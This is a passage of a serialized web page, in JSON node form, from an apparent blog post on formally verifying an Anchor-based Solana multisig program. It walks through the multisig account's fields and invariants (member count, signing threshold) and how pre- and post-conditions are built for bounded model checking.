(self",{"type":26,"tag":217,"props":139550,"children":139551},{"style":7149},[139552],{"type":32,"value":180},{"type":26,"tag":217,"props":139554,"children":139555},{"style":7048},[139556],{"type":32,"value":78574},{"type":26,"tag":217,"props":139558,"children":139559},{"style":7149},[139560],{"type":32,"value":180},{"type":26,"tag":217,"props":139562,"children":139563},{"style":7048},[139564],{"type":32,"value":139565},"len() ",{"type":26,"tag":217,"props":139567,"children":139568},{"style":7149},[139569],{"type":32,"value":137987},{"type":26,"tag":217,"props":139571,"children":139572},{"style":7119},[139573],{"type":32,"value":139574}," u16",{"type":26,"tag":217,"props":139576,"children":139577},{"style":7149},[139578],{"type":32,"value":56166},{"type":26,"tag":217,"props":139580,"children":139581},{"style":7119},[139582],{"type":32,"value":139583},"MAX",{"type":26,"tag":217,"props":139585,"children":139586},{"style":7154},[139587],{"type":32,"value":97268},{"type":26,"tag":217,"props":139589,"children":139590},{"style":7119},[139591],{"type":32,"value":94410},{"type":26,"tag":217,"props":139593,"children":139594},{"style":7048},[139595],{"type":32,"value":10025},{"type":26,"tag":217,"props":139597,"children":139598},{"class":7028,"line":7165},[139599,139603,139607,139611,139616,139620],{"type":26,"tag":217,"props":139600,"children":139601},{"style":7149},[139602],{"type":32,"value":93735},{"type":26,"tag":217,"props":139604,"children":139605},{"style":7048},[139606],{"type":32,"value":139548},{"type":26,"tag":217,"props":139608,"children":139609},{"style":7149},[139610],{"type":32,"value":180},{"type":26,"tag":217,"props":139612,"children":139613},{"style":7048},[139614],{"type":32,"value":139615},"threshold ",{"type":26,"tag":217,"props":139617,"children":139618},{"style":7149},[139619],{"type":32,"value":70795},{"type":26,"tag":217,"props":139621,"children":139622},{"style":7048},[139623],{"type":32,"value":139624}," 1)\n",{"type":26,"tag":217,"props":139626,"children":139627},{"class":7028,"line":7178},[139628,139632,139636,139640,139644,139648,139652,139656,139660,139664,139668,139672],{"type":26,"tag":217,"props":139629,"children":139630},{"style":7149},[139631],{"type":32,"value":93735},{"type":26,"tag":217,"props":139633,"children":139634},{"style":7048},[139635],{"type":32,"value":139548},{"type":26,"tag":217,"props":139637,"children":139638},{"style":7149},[139639],{"type":32,"value":180},{"type":26,"tag":217,"props":139641,"children":139642},{"style":7048},[139643],{"type":32,"value":139615},{"type":26,"tag":217,"props":139645,"children":139646},{"style":7154},[139647],{"type":32,"value":91735},{"type":26,"tag":217,"props":139649,"children":139650},{"style":7119},[139651],{"type":32,"value":94410},{"type":26,"tag":217,"props":139653,"children":139654},{"style":7149},[139655],{"type":32,"value":92297},{"type":26,"tag":217,"props":139657,"children":139658},{"style":7048},[139659],{"type":32,"value":92589},{"type":26,"tag":217,"props":139661,"children":139662},{"style":7149},[139663],{"type":32,"value":180},{"type":26,"tag":217,"props":139665,"children":139666},{"style":7048},[139667],{"type":32,"value":78574},{"type":26,"tag":217,"props":139669,"children":139670},{"style":7149},[139671],{"type":32,"value":180},{"type":26,"tag":217,"props":139673,"children":139674},{"style":7048},[139675],{"type":32,"value":139676},"len())\n",{"type":26,"tag":217,"props":139678,"children":139679},{"class":7028,"line":7389},[139680],{"type":26,"tag":217,"props":139681,"children":139682},{"style":7048},[139683],{"type":32,"value":90743},{"type":26,"tag":217,"props":139685,"children":139686},{"class":7028,"line":7406},[139687,139691,139695,139700],{"type":26,"tag":217,"props":139688,"children":139689},{"style":7154},[139690],{"type":32,"value":56830},{"type":26,"tag":217,"props":139692,"children":139693},{"style":7154},[139694],{"type":32,"value":77038},{"type":26,"tag":217,"props":139696,"children":139697},{"style":7119},[139698],{"type":32,"value":139699}," Ms",{"type":26,"tag":217,"props":139701,"children":139702},{"style":7048},[139703],{"type":32,"value":8064},{"type":26,"tag":217,"props":139705,"children":139706},{"class":7028,"line":7439},[139707,139711,139716,139720,139724,139729],{"type":26,"tag":217,"props":139708,"children":139709},{"style":7154},[139710],{"type":32,"value":90798},{"type":26,"tag":217,"props":139712,"children":139713},{"style":7054},[139714],{"type":32,"value":139715}," threshold",{"type":26,"tag":217,"props":139717,"children":139718},{"style":7149},[139719],{"type":32,"value":1473},{"type":26,"tag":217,"props":139721,"children":139722},{"style":7119},[139723],{"type":32,"value":139574},{"type":26,"tag":217,"props":139725,"children":139726},{"style":7048},[139727],{"type":32,"value":139728},",               ",{"type":26,"tag":217,"props":139730,"children":139731},{"style":7033},[139732],{"type":32,"value":139733},"// threshold for signatures\n",{"type":26,"tag":217,"props":139735,"children":139736},{"class":7028,"line":7487},[139737,139741,139746,139750,139754,139759],{"type":26,"tag":217,"props":139738,"children":139739},{"style":7154},[139740],{"type":32,"value":90798},{"type":26,"tag":217,"props":139742,"children":139743},{"style":7054},[139744],{"type":32,"value":139745}," authority_index",{"type":26,"tag":217,"props":139747,"children":139748},{"style":7149},[139749],{"type":32,"value":1473},{"type":26,"tag":217,"props":139751,"children":139752},{"style":7119},[139753],{"type":32,"value":139574},{"type":26,"tag":217,"props":139755,"children":139756},{"style":7048},[139757],{"type":32,"value":139758},",         ",{"type":26,"tag":217,"props":139760,"children":139761},{"style":7033},[139762],{"type":32,"value":139763},"// index to seed other authorities under this multisig\n",{"type":26,"tag":217,"props":139765,"children":139766},{"class":7028,"line":7524},[139767,139771,139776,139780,139785,139790],{"type":26,"tag":217,"props":139768,"children":139769},{"style":7154},[139770],{"type":32,"value":90798},{"type":26,"tag":217,"props":139772,"children":139773},{"style":7054},[139774],{"type":32,"value":139775}," transaction_index",{"type":26,"tag":217,"props":139777,"children":139778},{"style":7149},[139779],{"type":32,"value":1473},{"type":26,"tag":217,"props":139781,"children":139782},{"style":7119},[139783],{"type":32,"value":139784}," u32",{"type":26,"tag":217,"props":139786,"children":139787},{"style":7048},[139788],{"type":32,"value":139789},",       ",{"type":26,"tag":217,"props":139791,"children":139792},{"style":7033},[139793],{"type":32,"value":139794},"// look up and seed reference for transactions\n",{"type":26,"tag":217,"props":139796,"children":139797},{"class":7028,"line":7553},[139798,139802,139807,139811,139815,139819],{"type":26,"tag":217,"props":139799,"children":139800},{"style":7154},[139801],{"type":32,"value":90798},{"type":26,"tag":217,"props":139803,"children":139804},{"style":7054},[139805],{"type":32,"value":139806}," ms_change_index",{"type":26,"tag":217,"props":139808,"children":139809},{"style":7149},[139810],{"type":32,"value":1473},{"type":26,"tag":217,"props":139812,"children":139813},{"style":7119},[139814],{"type":32,"value":139784},{"type":26,"tag":217,"props":139816,"children":139817},{"style":7048},[139818],{"type":32,"value":139758},{"type":26,"tag":217,"props":139820,"children":139821},{"style":7033},[139822],{"type":32,"value":139823},"// the last executed/closed transaction\n",{"type":26,"tag":217,"props":139825,"children":139826},{"class":7028,"line":7570},[139827,139831,139836,139840,139844,139849],{"type":26,"tag":217,"props":139828,"children":139829},{"style":7154},[139830],{"type":32,"value":90798},{"type":26,"tag":217,"props":139832,"children":139833},{"style":7054},[139834],{"type":32,"value":139835}," bump",{"type":26,"tag":217,"props":139837,"children":139838},{"style":7149},[139839],{"type":32,"value":1473},{"type":26,"tag":217,"props":139841,"children":139842},{"style":7119},[139843],{"type":32,"value":125491},{"type":26,"tag":217,"props":139845,"children":139846},{"style":7048},[139847],{"type":32,"value":139848},",                     ",{"type":26,"tag":217,"props":139850,"children":139851},{"style":7033},[139852],{"type":32,"value":139853},"// bump for the multisig seed\n",{"type":26,"tag":217,"props":139855,"children":139856},{"class":7028,"line":7621},[139857,139861,139866,139870,139874,139879],{"type":26,"tag":217,"props":139858,"children":139859},{"style":7154},[139860],{"type":32,"value":90798},{"type":26,"tag":217,"props":139862,"children":139863},{"style":7054},[139864],{"type":32,"value":139865}," create_key",{"type":26,"tag":217,"props":139867,"children":139868},{"style":7149},[139869],{"type":32,"value":1473},{"type":26,"tag":217,"props":139871,"children":139872},{"style":7119},[139873],{"type":32,"value":93283},{"type":26,"tag":217,"props":139875,"children":139876},{"style":7048},[139877],{"type":32,"value":139878},",           ",{"type":26,"tag":217,"props":139880,"children":139881},{"style":7033},[139882],{"type":32,"value":139883},"// random key(or not) used to seed the multisig pda\n",{"type":26,"tag":217,"props":139885,"children":139886},{"class":7028,"line":7672},[139887,139891,139896,139900,139904,139908],{"type":26,"tag":217,"props":139888,"children":139889},{"style":7154},[139890],{"type":32,"value":90798},{"type":26,"tag":217,"props":139892,"children":139893},{"style":7054},[139894],{"type":32,"value":139895}," allow_external_execute",{"type":26,"tag":217,"props":139897,"children":139898},{"style":7149},[139899],{"type":32,"value":1473},{"type":26,"tag":217,"props":139901,"children":139902},{"style":7119},[139903],{"type":32,"value":79568},{"type":26,"tag":217,"props":139905,"children":139906},{"style":7048},[139907],{"type":32,"value":7599},{"type":26,"tag":217,"props":139909,"children":139910},{"style":7033},[139911],{"type":32,"value":139912},"// allow non-member keys to execute txs\n",{"type":26,"tag":217,"props":139914,"children":139915},{"class":7028,"line":7681},[139916,139920,139924,139928,139933,139937,139941,139946],{"type":26,"tag":217,"props":139917,"children":139918},{"style":7154},[139919],{"type":32,"value":90798},{"type":26,"tag":217,"props":139921,"children":139922},{"style":7054},[139923],{"type":32,"value":78513},{"type":26,"tag":217,"props":139925,"children":139926},{"style":7149},[139927],{"type":32,"value":1473},{"type":26,"tag":217,"props":139929,"children":139930},{"style":7119},[139931],{"type":32,"value":139932}," Vec",{"type":26,"tag":217,"props":139934,"children":139935},{"style":7048},[139936],{"type":32,"value":7289},{"type":26,"tag":217,"props":139938,"children":139939},{"style":7119},[139940],{"type":32,"value":93369},{"type":26,"tag":217,"props":139942,"children":139943},{"style":7048},[139944],{"type":32,"value":139945},">,            ",{"type":26,"tag":217,"props":139947,"children":139948},{"style":7033},[139949],{"type":32,"value":139950},"// keys of the members\n",{"type":26,"tag":217,"props":139952,"children":139953},{"class":7028,"line":7754},[139954],{"type":26,"tag":217,"props":139955,"children":139956},{"style":7048},[139957],{"type":32,"value":7184},{"type":26,"tag":39,"props":139959,"children":139960},{},[139961],{"type":32,"value":139962},"Here we are verifying multiple things at once:",{"type":26,"tag":2040,"props":139964,"children":139965},{},[139966,139977,139988,139999],{"type":26,"tag":2044,"props":139967,"children":139968},{},[139969,139975],{"type":26,"tag":83,"props":139970,"children":139972},{"className":139971},[],[139973],{"type":32,"value":139974},"!self.keys.is_empty()",{"type":32,"value":139976}," : ensure there is at least one member",{"type":26,"tag":2044,"props":139978,"children":139979},{},[139980,139986],{"type":26,"tag":83,"props":139981,"children":139983},{"className":139982},[],[139984],{"type":32,"value":139985},"self.keys.len() \u003C= u16::MAX as usize",{"type":32,"value":139987}," : set an upper limit of 65535 members",{"type":26,"tag":2044,"props":139989,"children":139990},{},[139991,139997],{"type":26,"tag":83,"props":139992,"children":139994},{"className":139993},[],[139995],{"type":32,"value":139996},"self.threshold >= 1",{"type":32,"value":139998}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":26,"tag":2044,"props":140000,"children":140001},{},[140002,140008],{"type":26,"tag":83,"props":140003,"children":140005},{"className":140004},[],[140006],{"type":32,"value":140007},"self.threshold as usize \u003C= self.keys.len()",{"type":32,"value":140009}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":26,"tag":27,"props":140011,"children":140013},{"id":140012},"verification-how-do-we-check-that-our-model-is-correct",[140014],{"type":32,"value":140015},"Verification: How do we check that our model is correct?",{"type":26,"tag":39,"props":140017,"children":140018},{},[140019,140021,140025,140027,140032],{"type":32,"value":140020},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":26,"tag":65,"props":140022,"children":140023},{},[140024],{"type":32,"value":138534},{"type":32,"value":140026}," on which we can run bounded model checking. Our tool does this ",{"type":26,"tag":65,"props":140028,"children":140029},{},[140030],{"type":32,"value":140031},"automagically",{"type":32,"value":140033}," for anchor-lang programs.",{"type":26,"tag":39,"props":140035,"children":140036},{},[140037,140039,140045,140046,140051,140053,140058,140059,140064,140066,140071,140073,140078,140079,140085,140087,140093,140094,140100],{"type":32,"value":140038},"Specifically, for a given ",{"type":26,"tag":83,"props":140040,"children":140042},{"className":140041},[],[140043],{"type":32,"value":140044},"Context\u003CT>",{"type":32,"value":20851},{"type":26,"tag":65,"props":140047,"children":140048},{},[140049],{"type":32,"value":140050},"incoming",{"type":32,"value":140052}," accounts of types (",{"type":26,"tag":83,"props":140054,"children":140056},{"className":140055},[],[140057],{"type":32,"value":18200},{"type":32,"value":5756},{"type":26,"tag":83,"props":140060,"children":140062},{"className":140061},[],[140063],{"type":32,"value":90786},{"type":32,"value":140065},") and ",{"type":26,"tag":65,"props":140067,"children":140068},{},[140069],{"type":32,"value":140070},"outgoing",{"type":32,"value":140072}," accounts of type (",{"type":26,"tag":83,"props":140074,"children":140076},{"className":140075},[],[140077],{"type":32,"value":90786},{"type":32,"value":5756},{"type":26,"tag":83,"props":140080,"children":140082},{"className":140081},[],[140083],{"type":32,"value":140084},"close",{"type":32,"value":140086},") we define a ",{"type":26,"tag":83,"props":140088,"children":140090},{"className":140089},[],[140091],{"type":32,"value":140092},"pre_condition",{"type":32,"value":1308},{"type":26,"tag":83,"props":140095,"children":140097},{"className":140096},[],[140098],{"type":32,"value":140099},"post_condition",{"type":32,"value":140101}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":26,"tag":39,"props":140103,"children":140104},{},[140105],{"type":26,"tag":83,"props":140106,"children":140108},{"className":140107},[213,4703],[140109],{"type":26,"tag":217,"props":140110,"children":140112},{"className":140111},[225],[140113],{"type":26,"tag":217,"props":140114,"children":140116},{"className":140115,"ariaHidden":231},[230],[140117,140148],{"type":26,"tag":217,"props":140118,"children":140120},{"className":140119},[236],[140121,140125,140130,140135,140139,140144],{"type":26,"tag":217,"props":140122,"children":140124},{"className":140123,"style":4800},[241],[],{"type":26,"tag":217,"props":140126,"children":140128},{"className":140127,"style":2153},[247,2152],[140129],{"type":32,"value":2156},{"type":26,"tag":217,"props":140131,"children":140133},{"className":140132},[247],[140134],{"type":32,"value":1883},{"type":26,"tag":217,"props":140136,"children":140138},{"className":140137,"style":259},[258],[],{"type":26,"tag":217,"props":140140,"children":140142},{"className":140141},[264],[140143],{"type":32,"value":3009},{"type":26,"tag":217,"props":140145,"children":140147},{"className":140146,"style":259},[258],[],{"type":26,"tag":217,"props":140149,"children":140151},{"className":140150},[236],[140152,140156,140281,140285],{"type":26,"tag":217,"props":140153,"children":140155},{"className":140154,"style":43716},[241],[],{"type":26,"tag":217,"props":140157,"children":140159},{"className":140158},[1842],[140160,140166],{"type":26,"tag":217,"props":140161,"children":140163},{"className":140162,"style":22482},[1842,4049,22481],[140164],{"type":32,"value":140165},"⋀",{"type":26,"tag":217,"props":140167,"children":140169},{"className":140168},[2160],[140170],{"type":26,"tag":217,"props":140171,"children":140173},{"className":140172},[299,300],[140174,140270],{"type":26,"tag":217,"props":140175,"children":140177},{"className":140176},[305],[140178,140265],{"type":26,"tag":217,"props":140179,"children":140181},{"className":140180,"style":43742},[310],[140182],{"type":26,"tag":217,"props":140183,"children":140184},{"style":43746},[140185,140189],{"type":26,"tag":217,"props":140186,"children":140188},{"className":140187,"style":2182},[320],[],{"type":26,"tag":217,"props":140190,"children":140192},{"className":140191},[2187,2188,2189,2190],[140193],{"type":26,"tag":217,"props":140194,"children":140196},{"className":140195},[247,2190],[140197,140202,140208,140217,140222,140231,140240,140245,140250,140255,140260],{"type":26,"tag":217,"props":140198,"children":140200},{"className":140199},[247,2152,2190],[140201],{"type":32,"value":163},{"type":26,"tag":217,"props":140203,"children":140205},{"className":140204},[247,2152,2190],[140206],{"type":32,"value":140207},"cc",{"type":26,"tag":217,"props":140209,"children":140211},{"className":140210},[258,2190],[140212],{"type":26,"tag":217,"props":140213,"children":140215},{"className":140214},[2190],[140216],{"type":32,"value":69873},{"type":26,"tag":217,"props":140218,"children":140220},{"className":140219},[264,2190],[140221],{"type":32,"value":43824},{"type":26,"tag":217,"props":140223,"children":140225},{"className":140224},[258,2190],[140226],{"type":26,"tag":217,"props":140227,"children":140229},{"className":140228},[2190],[140230],{"type":32,"value":69873},{"type":26,"tag":217,"props":140232,"children":140234},{"className":140233},[247,32,2190],[140235],{"type":26,"tag":217,"props":140236,"children":140238},{"className":140237},[247,2190],[140239],{"type":32,"value":140050},{"type":26,"tag":217,"props":140241,"children":140243},{"className":140242},[288,2190],[140244],{"type":32,"value":1851},{"type":26,"tag":217,"props":140246,"children":140248},{"className":140247},[247,2152,2190],[140249],{"type":32,"value":2255},{"type":26,"tag":217,"props":140251,"children":140253},{"className":140252},[247,2152,2190],[140254],{"type":32,"value":2935},{"type":26,"tag":217,"props":140256,"children":140258},{"className":140257},[247,2152,2190],[140259],{"type":32,"value":2542},{"type":26,"tag":217,"props":140261,"children":140263},{"className":140262},[428,2190],[140264],{"type":32,"value":1889},{"type":26,"tag":217,"props":140266,"children":140268},{"className":140267},[409],[140269],{"type":32,"value":412},{"type":26,"tag":217,"props":140271,"children":140273},{"className":140272},[305],[140274],{"type":26,"tag":217,"props":140275,"children":140277},{"className":140276,"style":43862},[310],[140278],{"type":26,"tag":217,"props":140279,"children":140280},{},[],{"type":26,"tag":217,"props":140282,"children":140284},{"className":140283,"style":1872},[258],[],{"type":26,"tag":217,"props":140286,"children":140288},{"className":140287},[247],[140289,140299,140304,140309,140314],{"type":26,"tag":217,"props":140290,"children":140292},{"className":140291},[247,32],[140293],{"type":26,"tag":217,"props":140294,"children":140296},{"className":140295},[247],[140297],{"type":32,"value":140298},"invariant",{"type":26,"tag":217,"props":140300,"children":140302},{"className":140301},[288],[140303],{"type":32,"value":1851},{"type":26,"tag":217,"props":140305,"children":140307},{"className":140306},[247,2152],[140308],{"type":32,"value":163},{"type":26,"tag":217,"props":140310,"children":140312},{"className":140311},[247,2152],[140313],{"type":32,"value":140207},{"type":26,"tag":217,"props":140315,"children":140317},{"className":140316},[428],[140318],{"type":32,"value":1889},{"type":26,"tag":39,"props":140320,"children":140321},{},[140322],{"type":26,"tag":83,"props":140323,"children":140325},{"className":140324},[213,4703],[140326],{"type":26,"tag":217,"props":140327,"children":140329},{"className":140328},[225],[140330],{"type":26,"tag":217,"props":140331,"children":140333},{"className":140332,"ariaHidden":231},[230],[140334,140365],{"type":26,"tag":217,"props":140335,"children":140337},{"className":140336},[236],[140338,140342,140347,140352,140356,140361],{"type":26,"tag":217,"props":140339,"children":140341},{"className":140340,"style":4800},[241],[],{"type":26,"tag":217,"props":140343,"children":140345},{"className":140344,"style":2153},[247,2152],[140346],{"type":32,"value":2156},{"type":26,"tag":217,"props":140348,"children":140350},{"className":140349},[247],[140351],{"type":32,"value":185},{"type":26,"tag":217,"props":140353,"children":140355},{"className":140354,"style":259},[258],[],{"type":26,"tag":217,"props":140357,"children":140359},{"className":140358},[264],[140360],{"type":32,"value":3009},{"type":26,"tag":217,"props":140362,"children":140364},{"className":140363,"style":259},[258],[],{"type":26,"tag":217,"props":140366,"children":140368},{"className":140367},[236],[140369,140373,140496,140500],{"type":26,"tag":217,"props":140370,"children":140372},{"className":140371,"style":43716},[241],[],{"type":26,"tag":217,"props":140374,"children":140376},{"className":140375},[1842],[140377,140382],{"type":26,"tag":217,"props":140378,"children":140380},{"className":140379,"style":22482},[1842,4049,22481],[140381],{"type":32,"value":140165},{"type":26,"tag":217,"props":140383,"children":140385},{"className":140384},[2160],[140386],{"type":26,"tag":217,"props":140387,"children":140389},{"className":140388},[299,300],[140390,140485],{"type":26,"tag":217,"props":140391,"children":140393},{"className":140392},[305],[140394,140480],{"type":26,"tag":217,"props":140395,"children":140397},{"className":140396,"style":43742},[310],[140398],{"type":26,"tag":217,"props":140399,"children":140400},{"style":43746},[140401,140405],{"type":26,"tag":217,"props":140402,"children":140404},{"className":140403,"style":2182},[320],[],{"type":26,"tag":217,"props":140406,"children":140408},{"className":140407},[2187,2188,2189,2190],[140409],{"type":26,"tag":217,"props":140410,"children":140412},{"className":140411},[247,2190],[140413,140418,140423,140432,140437,140446,140455,140460,140465,140470,140475],{"type":26,"tag":217,"props":140414,"children":140416},{"className":140415},[247,2152,2190],[140417],{"type":32,"value":163},{"type":26,"tag":217,"props":140419,"children":140421},{"className":140420},[247,2152,2190],[140422],{"type":32,"value":140207},{"type":26,"tag":217,"props":140424,"children":140426},{"className":140425},[258,2190],[140427],{"type":26,"tag":217,"props":140428,"children":140430},{"className":140429},[2190],[140431],{"type":32,"value":69873},{"type":26,"tag":217,"props":140433,"children":140435},{"className":140434},[264,2190],[140436],{"type":32,"value":43824},{"type":26,"tag":217,"props":140438,"children":140440},{"className":140439},[258,2190],[140441],{"type":26,"tag":217,"props":140442,"children":140444},{"className":140443},[2190],[140445],{"type":32,"value":69873},{"type":26,"tag":217,"props":140447,"children":140449},{"className":140448},[247,32,2190],[140450],{"type":26,"tag":217,"props":140451,"children":140453},{"className":140452},[247,2190],[140454],{"type":32,"value":140070},{"type":26,"tag":217,"props":140456,"children":140458},{"className":140457},[288,2190],[140459],{"type":32,"value":1851},{"type":26,"tag":217,"props":140461,"children":140463},{"className":140462},[247,2152,2190],[140464],{"type":32,"value":2255},{"type":26,"tag":217,"props":140466,"children":140468},{"className":140467},[247,2152,2190],[140469],{"type":32,"value":2935},{"type":26,"tag":217,"props":140471,"children":140473},{"className":140472},[247,2152,2190],[140474],{"type":32,"value":2542},{"type":26,"tag":217,"props":140476,"children":140478},{"className":140477},[428,2190],[140479],{"type":32,"value":1889},{"type":26,"tag":217,"props":140481,"children":140483},{"className":140482},[409],[140484],{"type":32,"value":412},{"type":26,"tag":217,"props":140486,"children":140488},{"className":140487},[305],[140489],{"type":26,"tag":217,"props":140490,"children":140492},{"className":140491,"style":43862},[310],[140493],{"type":26,"tag":217,"props":140494,"children":140495},{},[],{"type":26,"tag":217,"props":140497,"children":140499},{"className":140498,"style":1872},[258],[],{"type":26,"tag":217,"props":140501,"children":140503},{"className":140502},[247],[140504,140513,140518,140523,140528],{"type":26,"tag":217,"props":140505,"children":140507},{"className":140506},[247,32],[140508],{"type":26,"tag":217,"props":140509,"children":140511},{"className":140510},[247],[140512],{"type":32,"value":140298},{"type":26,"tag":217,"props":140514,"children":140516},{"className":140515},[288],[140517],{"type":32,"value":1851},{"type":26,"tag":217,"props":140519,"children":140521},{"className":140520},[247,2152],[140522],{"type":32,"value":163},{"type":26,"tag":217,"props":140524,"children":140526},{"className":140525},[247,2152],[140527],{"type":32,"value":140207},{"type":26,"tag":217,"props":140529,"children":140531},{"className":140530},[428],[140532],{"type":32,"value":1889},{"type":26,"tag":39,"props":140534,"children":140535},{},[140536],{"type":32,"value":140537},"Our instruction invariants are represented as:",{"type":26,"tag":2040,"props":140539,"children":140540},{},[140541,140575],{"type":26,"tag":2044,"props":140542,"children":140543},{},[140544,140569,140570],{"type":26,"tag":83,"props":140545,"children":140547},{"className":140546},[213,4703],[140548],{"type":26,"tag":217,"props":140549,"children":140551},{"className":140550},[225],[140552],{"type":26,"tag":217,"props":140553,"children":140555},{"className":140554,"ariaHidden":231},[230],[140556],{"type":26,"tag":217,"props":140557,"children":140559},{"className":140558},[236],[140560,140564],{"type":26,"tag":217,"props":140561,"children":140563},{"className":140562,"style":4800},[241],[],{"type":26,"tag":217,"props":140565,"children":140567},{"className":140566,"style":5270},[247,2152],[140568],{"type":32,"value":5273},{"type":32,"value":14785},{"type":26,"tag":83,"props":140571,"children":140573},{"className":140572},[],[140574],{"type":32,"value":138719},{"type":26,"tag":2044,"props":140576,"children":140577},{},[140578,140604,140605],{"type":26,"tag":83,"props":140579,"children":140581},{"className":140580},[213,4703],[140582],{"type":26,"tag":217,"props":140583,"children":140585},{"className":140584},[225],[140586],{"type":26,"tag":217,"props":140587,"children":140589},{"className":140588,"ariaHidden":231},[230],[140590],{"type":26,"tag":217,"props":140591,"children":140593},{"className":140592},[236],[140594,140598],{"type":26,"tag":217,"props":140595,"children":140597},{"className":140596,"style":4800},[241],[],{"type":26,"tag":217,"props":140599,"children":140601},{"className":140600,"style":5270},[247,2152],[140602],{"type":32,"value":140603},"E",{"type":32,"value":14785},{"type":26,"tag":83,"props":140606,"children":140608},{"className":140607},[],[140609],{"type":32,"value":138726},{"type":26,"tag":39,"props":140611,"children":140612},{},[140613,140615,140641,140643,140648,140650,140656],{"type":32,"value":140614},"And ",{"type":26,"tag":83,"props":140616,"children":140618},{"className":140617},[213,4703],[140619],{"type":26,"tag":217,"props":140620,"children":140622},{"className":140621},[225],[140623],{"type":26,"tag":217,"props":140624,"children":140626},{"className":140625,"ariaHidden":231},[230],[140627],{"type":26,"tag":217,"props":140628,"children":140630},{"className":140629},[236],[140631,140635],{"type":26,"tag":217,"props":140632,"children":140634},{"className":140633,"style":4800},[241],[],{"type":26,"tag":217,"props":140636,"children":140638},{"className":140637,"style":20616},[247,2152],[140639],{"type":32,"value":140640},"K",{"type":32,"value":140642}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":26,"tag":83,"props":140644,"children":140646},{"className":140645},[],[140647],{"type":32,"value":93710},{"type":32,"value":140649}," not an ",{"type":26,"tag":83,"props":140651,"children":140653},{"className":140652},[],[140654],{"type":32,"value":140655},"Err",{"type":32,"value":8256},{"type":26,"tag":39,"props":140658,"children":140659},{},[140660],{"type":32,"value":140661},"In order to verify these conditions we need to verify three cases:",{"type":26,"tag":607,"props":140663,"children":140665},{"id":140664},"account-invariants-1",[140666],{"type":32,"value":140667},"Account invariants",{"type":26,"tag":39,"props":140669,"children":140670},{},[140671,140673,140704,140706,140736,140738,140768],{"type":32,"value":140672},"After we execute an instruction, either the function should error and be reverted (",{"type":26,"tag":83,"props":140674,"children":140676},{"className":140675},[213,4703],[140677],{"type":26,"tag":217,"props":140678,"children":140680},{"className":140679},[225],[140681],{"type":26,"tag":217,"props":140682,"children":140684},{"className":140683,"ariaHidden":231},[230],[140685],{"type":26,"tag":217,"props":140686,"children":140688},{"className":140687},[236],[140689,140693,140699],{"type":26,"tag":217,"props":140690,"children":140692},{"className":140691,"style":4800},[241],[],{"type":26,"tag":217,"props":140694,"children":140696},{"className":140695},[247],[140697],{"type":32,"value":140698},"¬",{"type":26,"tag":217,"props":140700,"children":140702},{"className":140701,"style":20616},[247,2152],[140703],{"type":32,"value":140640},{"type":32,"value":140705},") or the account post-invariants should hold (",{"type":26,"tag":83,"props":140707,"children":140709},{"className":140708},[213,4703],[140710],{"type":26,"tag":217,"props":140711,"children":140713},{"className":140712},[225],[140714],{"type":26,"tag":217,"props":140715,"children":140717},{"className":140716,"ariaHidden":231},[230],[140718],{"type":26,"tag":217,"props":140719,"children":140721},{"className":140720},[236],[140722,140726,140731],{"type":26,"tag":217,"props":140723,"children":140725},{"className":140724,"style":4800},[241],[],{"type":26,"tag":217,"props":140727,"children":140729},{"className":140728,"style":2153},[247,2152],[140730],{"type":32,"value":2156},{"type":26,"tag":217,"props":140732,"children":140734},{"className":140733},[247],[140735],{"type":32,"value":185},{"type":32,"value":140737},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":26,"tag":83,"props":140739,"children":140741},{"className":140740},[213,4703],[140742],{"type":26,"tag":217,"props":140743,"children":140745},{"className":140744},[225],[140746],{"type":26,"tag":217,"props":140747,"children":140749},{"className":140748,"ariaHidden":231},[230],[140750],{"type":26,"tag":217,"props":140751,"children":140753},{"className":140752},[236],[140754,140758,140763],{"type":26,"tag":217,"props":140755,"children":140757},{"className":140756,"style":4800},[241],[],{"type":26,"tag":217,"props":140759,"children":140761},{"className":140760,"style":2153},[247,2152],[140762],{"type":32,"value":2156},{"type":26,"tag":217,"props":140764,"children":140766},{"className":140765},[247],[140767],{"type":32,"value":1883},{"type":32,"value":140769},") should hold since we will verify all of the functions eventually.",{"type":26,"tag":39,"props":140771,"children":140772},{},[140773,140775],{"type":32,"value":140774},"So we are trying to prove that ",{"type":26,"tag":83,"props":140776,"children":140778},{"className":140777},[213,4703],[140779],{"type":26,"tag":217,"props":140780,"children":140782},{"className":140781},[225],[140783],{"type":26,"tag":217,"props":140784,"children":140786},{"className":140785,"ariaHidden":231},[230],[140787,140824,140855],{"type":26,"tag":217,"props":140788,"children":140790},{"className":140789},[236],[140791,140795,140800,140805,140810,140814,140820],{"type":26,"tag":217,"props":140792,"children":140794},{"className":140793,"style":5514},[241],[],{"type":26,"tag":217,"props":140796,"children":140798},{"className":140797},[288],[140799],{"type":32,"value":1851},{"type":26,"tag":217,"props":140801,"children":140803},{"className":140802,"style":2153},[247,2152],[140804],{"type":32,"value":2156},{"type":26,"tag":217,"props":140806,"children":140808},{"className":140807},[247],[140809],{"type":32,"value":1883},{"type":26,"tag":217,"props":140811,"children":140813},{"className":140812,"style":336},[258],[],{"type":26,"tag":217,"props":140815,"children":140817},{"className":140816},[341],[140818],{"type":32,"value":140819},"∧",{"type":26,"tag":217,"props":140821,"children":140823},{"className":140822,"style":336},[258],[],{"type":26,"tag":217,"props":140825,"children":140827},{"className":140826},[236],[140828,140832,140837,140842,140846,140851],{"type":26,"tag":217,"props":140829,"children":140831},{"className":140830,"style":5514},[241],[],{"type":26,"tag":217,"props":140833,"children":140835},{"className":140834,"style":20616},[247,2152],[140836],{"type":32,"value":140640},{"type":26,"tag":217,"props":140838,"children":140840},{"className":140839},[428],[140841],{"type":32,"value":1889},{"type":26,"tag":217,"props":140843,"children":140845},{"className":140844,"style":259},[258],[],{"type":26,"tag":217,"props":140847,"children":140849},{"className":140848},[264],[140850],{"type":32,"value":43112},{"type":26,"tag":217,"props":140852,"children":140854},{"className":140853,"style":259},[258],[],{"type":26,"tag":217,"props":140856,"children":140858},{"className":140857},[236],[140859,140863,140868],{"type":26,"tag":217,"props":140860,"children":140862},{"className":140861,"style":4800},[241],[],{"type":26,"tag":217,"props":140864,"children":140866},{"className":140865,"style":2153},[247,2152],[140867],{"type":32,"value":2156},{"type":26,"tag":217,"props":140869,"children":140871},{"className":140870},[247],[